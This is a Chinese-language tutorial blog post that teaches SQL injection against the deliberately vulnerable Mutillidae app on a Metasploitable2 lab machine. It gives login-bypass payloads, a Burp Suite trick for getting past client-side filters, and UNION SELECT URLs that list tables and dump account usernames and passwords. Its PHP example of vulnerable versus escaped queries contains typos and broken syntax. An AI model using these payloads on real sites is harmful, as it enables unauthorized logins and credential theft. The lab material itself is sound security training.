一、数据库基础知识
1.什么是sql?
1)大多数网站使用数据库存储数据
2)数据库database(DB)存储了用户名,密码等重要数据
3)网站应用程序读取,更新和插入数据到数据库中
我们部署的Metasploitable2
2.MysqL 基础语法
show databases;
2)使用数据库
use 数据库名;
show tables;
4)选择accounts表的所有内容 *表示所有
select * from accounts;
3.为什么sql注入很危险?
1)它们比较常见。
2)它们通过数据库获得敏感数据。
3)可以被使用去读取WWW root外部的本地文件。
4)可以被使用作为管理员登入并进一步利用系统。
================================================
4.在POST中发现sql注入。
1)使用'and', 'order by', 或者" ' "破环正常页面。
2)测试文本框或参数时
比如PHP页面 http://host/page.PHP?something=something
举个栗子:打开Mutillidae 点击登入/注册页面,先随便注册一个账号:szs 密码:123456
ps:如果注册用户失败,说Metasploit数据库不存在,那么就在Metasploitables中改下数据库名
改为:dbname='owasp10',刷新页面重新注册就ok了。
正常访问界面:输入szs 123456 登入成功。
sql语句 select * from where username='szs' and password='$Password'
正常情况输入123456就登入了,如果存在sql注入漏洞,我们就可以 输入123456’ and 1=1# 单引号闭合前面的语句 # 注释掉后面的所有语句
sql语句就被构造成select * from where username='szs' and password='123456' and 1=1#'
而输入123456'and 1=2#则会报错。
说明构造命令被执行,存在sql注入漏洞。
==========================================================================================
使用用户名: admin 密码:1' or 1=1# or表示一真即真,1=1显然是true。所以可以绕过密码。
甚至我们可以连账号都不用输,直接在账号输入: ’or 1=1# 密码随便因为后面都是无效语句被注释掉了。
====================================================================================================
上述讲到的例子是输入框完全没做安全防护的情况,现在我们将安全等级提高,比如输入使用过滤器,过滤特殊字符,该怎么绕过?
这时我们可以使用Burpsuite开启代理获得http数据,这时的数据已经通过了过滤器,所以我们只需要通过bp对Http包修改,转发就行了。打开bp ,开启代理,抓取Http包
发现抓到了包,并且输入的密码是123,显然密码是错误的,现在已经通过了过滤器,我们可以将值修改为 123‘or 1=1#绕过登入。
然后转发,查看浏览器,成功登入。
因为过滤是通过页面上执行的javascript代码在客户端进行的,我们抓取的包是在链路当中。
===================================================================================
<?PHP
// case1:不安全的代码 $query = "SELECT * FROM accounts WHERE username='".$username
"'AND password='".$password,
// case2:更安全的代码
$query = "SELECT * FROM accounts WHERE username='".
$conn->rela_escape_string($username).
"' AND password='"
$conn->real_escape_string($password)."'";
?>
====================================================================================
8.在GET中发现sql注入。
选择Owasp Top10 -->A1injection -->sqli extact data -->user info
登录:
相当于执行了:Select * from accounts where username = '$USERNAME' and password='$PASSWORD'
url中使用GET方法,我们可以看到url存在username= password=字样
http://192.168.164.129/mutillidae/index.PHP?page=user-info.PHP&username=szs&password=123456&user-info-PHP-submit-button=View+Account+Details
我们可以构造payload如下:
http://192.168.164.129/mutillidae/index.PHP?page=user-info.PHP&username=szs&password='or 1=1--+&user-info-PHP-submit-button=View+Account+Details
1)判断注入点后
2)order by 或者 union select 1,2,3....判断有多少列。
3)读取数据库信息
4)查找数据表
username=%27union%20select%201,table_name,null,null,5%20from%20@R_334_4045@ion_schema.tables%20where%20table_schema=%27owasp10%27%23
5)查找表的列名 %27-- ' %20--空格 %23-- #
username=%27union%20select%201,column_name,null,null,5%20from%20@R_334_4045@ion_schema.columns%20where%20table_name=%27accounts%27%23
username=%27union%20select%201,username,password,is_admin,5 from accounts%20
=======================================================================================================
9.发现和利用盲sql注入。
'1 and 1=1#
'1 and 1=2#
通过回显信息,判断是否是sql注入点.
http://192.168.164.129/mutillidae/index.PHP?page=user-info.PHP
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。